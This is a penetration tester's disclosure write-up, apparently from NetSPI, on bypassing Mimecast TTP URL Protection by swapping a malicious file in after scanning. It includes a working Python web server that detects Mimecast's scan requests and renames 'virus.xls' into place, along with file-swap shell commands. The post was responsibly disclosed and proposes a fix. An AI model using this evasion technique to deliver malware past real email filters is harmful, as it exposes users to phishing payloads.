Mimecast Targeted Threat Protection (TTP) is a suite of email security tools designed to protect end users from phishing attacks. The URL Protection feature of this subscription can inspect links embedded in emails for malicious content. If a file is deemed safe, Mimecast will allow the user to retrieve it from the linked site. Files categorized as malicious are blocked and cannot be downloaded.
Or so I thought.
root@webserver:/var/www# ls malware.xls not-malware.xls root@webserver:/var/www# mv malware.xls not-malware.xls
During a hybrid breach and attack simulation and social engineering penetration test, I discovered a way to bypass Mimecast’s URL Protection and File Inspection features described above.
Though, in the interest of transparency, I’m not sure I can claim that I discovered this issue. I would be surprised if this wasn’t already a known trick. Nevertheless, it was acknowledged by Mimecast and landed me a spot on their Security Researcher Wall of Fame.
This is a great reminder of the importance of defense in depth strategies. In this instance, I was able to bypass, or evade, the email defense in place. When frontline security controls are bypassed, organizations must have back up, layered controls and policies in place to stop or slow down adversaries and prevent further incident escalation.
I worked closely with Mimecast to responsibly disclose and remediate this issue. Let’s take a deeper look at the discovery and disclosure process.
Here’s what happens behind the scenes when an email containing links is sent to an inbox protected by Mimecast.
We will use 2 different files in these examples:
Each will be served by a basic web server powered by the Python http.server module.
GET /happy.xls HTTP/1.1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="97", "Chromium";v="97" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: january132022.com Cache-Control: max-age=259200 Connection: keep-alive
GET /happy.xls HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate Accept-Language: en-gb,en;q=0.5 x-client-ip: 188.8.131.52 x-real-ip: 184.108.40.206 x-client: 220.127.116.11 Host: january132022.com Cache-Control: max-age=259200 Connection: close
GET /happy.xls HTTP/1.1 Host: january132022.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Did anything in that process catch your eye? There are four core concerns I had with this process. Mimecast’s corresponding remediation steps for each of these problems can be found at the end of this article.
After clicking the Download button, the end user will retrieve the file directly from the remote link.
HTTP requests generated by Mimecast file inspection follow a predictable pattern. In the workflow above, Requests 1 and 2 will always be issued in that exact order, in the same two-second interval, and with the shown header values.
This means that an attacker can accurately determine when a file has been inspected by TTP. By monitoring for the unique header values in Request 2 (i.e.,
x-client-ip, x-real-ip, x-client), the attacker can modify the subsequent response to Request 3 to return an entirely different set of file contents. This would allow an attacker to present a clean file to Mimecast, while serving malicious content to the end user.
These two items alone could compromise the integrity of inspection results. Though there’s a much simpler way to achieve the same result.
That’s right! URLs are only inspected during their first visit by that user. If a URL is previously designated as safe, the content and classification will remain cached for a length of time. An attacker can bypass protections by simply renaming a malicious file to match the filename of a previously categorized safe file. This result remained for up to four hours in my testing; however, Mimecast has shared with me that they will look to address this via risk-based caching.
While you can’t see it in the above screenshots, I found that links rewritten by TTP do not appear to be completely unique. Inspections, and their resulting categories, are seemingly persistent across identical messages sent from two different source addresses. An attacker could send a benign message to the target from Address A, then re-send the same message from Address B after the file has been categorized.
Let’s put everything together. To demonstrate the attack workflow, the examples below will pick up immediately after I attempted to click the Blocked file.
# sha256sum happy.xls 87762ea8f248335b92bbadf71396305d2090537401d51d6a55df6754e74c2e25 happy.xls # sha256sum sad.xls 131f2276d2003b22d51a8817817edd5ab2dcbb9b0b487f5149717e034d2b67e7 sad.xls # cp happy.xls backup_happy.xls # cp sad.xls happy.xls # sha256sum sad.xls 131f2276d2003b22d51a8817817edd5ab2dcbb9b0b487f5149717e034d2b67e7 sad.xls # sha256sum happy.xls 131f2276d2003b22d51a8817817edd5ab2dcbb9b0b487f5149717e034d2b67e7 happy.xls # ls backup_happy.xls happy.xls nocachebasicweb.py sad.xls
Renaming the malicious file to replace the safe file
While you can certainly follow the “steps” outlined in the TL;DR, I think we can make this better.
The Python script below will start a web server on the host and automatically rename a malicious file to an inspected, safe filename. Note that the below code is a basic example and will only function a single time. It is not clean, but it certainly does the job.
# NoCacheHTTPServer.py # Made from https://stackoverflow.com/questions/42341039/remove-cache-in-a-python-http-server import os import http.server PORT = 80 count = 1 class NoCacheHTTPRequestHandler( http.server.SimpleHTTPRequestHandler ): def send_response_only(self, code, message=None): resp = super().send_response_only(code, message) self.send_header('Cache-Control', 'no-store, must-revalidate') self.send_header('Expires', '0') global count count = count + 1 if count == 2: print('[*] MIMECAST SCAN 1') elif count == 3: print('[*] MIMECAST SCAN 2') print('[**] MIMECAST SCAN COMPLETE. REPLACING FILE.') os.rename('thisfileissafe.xls', 'thisfileissafe.xls.bak') os.rename('virus.xls', 'thisfileissafe.xls') if __name__ == '__main__': http.server.test( HandlerClass=NoCacheHTTPRequestHandler, port=PORT )
This one will start a web server on the host and serve safe content by default. It reviews each incoming request for the unique HTTP request headers provided by Mimecast URL Protection (x-client, x-client-ip, and x-real-ip). If these headers are detected, it will then automatically alter the response to the subsequent request and serve malicious content, then reset to safe content afterwards.
This process will repeat each time the TTP headers are detected. This allows the attacker to evade future detections while continuing to deliver malicious content to additional victims. And just for good measure, the victim IP can be hardcoded to always serve the payload when they visit.
The code below can be found on GitHub.
This was discovered during an active engagement, so I was not in a position to review every single edge case. These are questions that I asked myself but were unable to answer.
Users should be unable to retrieve an inspected file directly from the remote host. Instead, TTP should act as an intermediary and temporarily store a copy of the inspected file to serve to the user. This would address all of the demonstrated evasion methods. Future download attempts by the user should be served from TTP – either the previously cached version or a newly inspected copy.
Mimecast has indicated that they will be implementing these suggestions and provided the following comments:
Unfortunately, without an active Mimecast subscription, I have no way to confirm if this is accurate.
Below is a timeline of the disclosure process:
PTaaS is NetSPI’s delivery model for penetration testing. It enables customers to simplify the scoping of new engagements, view their testing results in real time, orchestrate faster remediation, perform always-on continuous testing, and more - all through the Resolve™ vulnerability management and orchestration platform. Learn More
We help organizations defend against adversaries by being the best at simulating real-world, sophisticated adversaries with the products, services, and training we provide. We know how attackers think and operate, allowing us to help our customers better defend against the threats they face daily.
At NetSPI, we believe that there is simply no replacement for human-led manual deep dive testing. Our Resolve platform delivers automation to ensure our people spend time looking for the critical vulnerabilities that tools miss. We provide automated and manual testing of all aspects of an organization’s entire attack surface, including external and internal network, application, cloud, and physical security.
Our proven methodology ensures that the client experience and our findings aren’t only as good as the latest tester assigned to your project. That consistency gives our customers assurance that if vulnerabilities exist, we will find them.
|YSC||youtube.com||YouTube session cookie.||52 years||HTTP|
|VISITOR_INFO1_LIVE||youtube.com||YouTube cookie.||6 months||HTTP|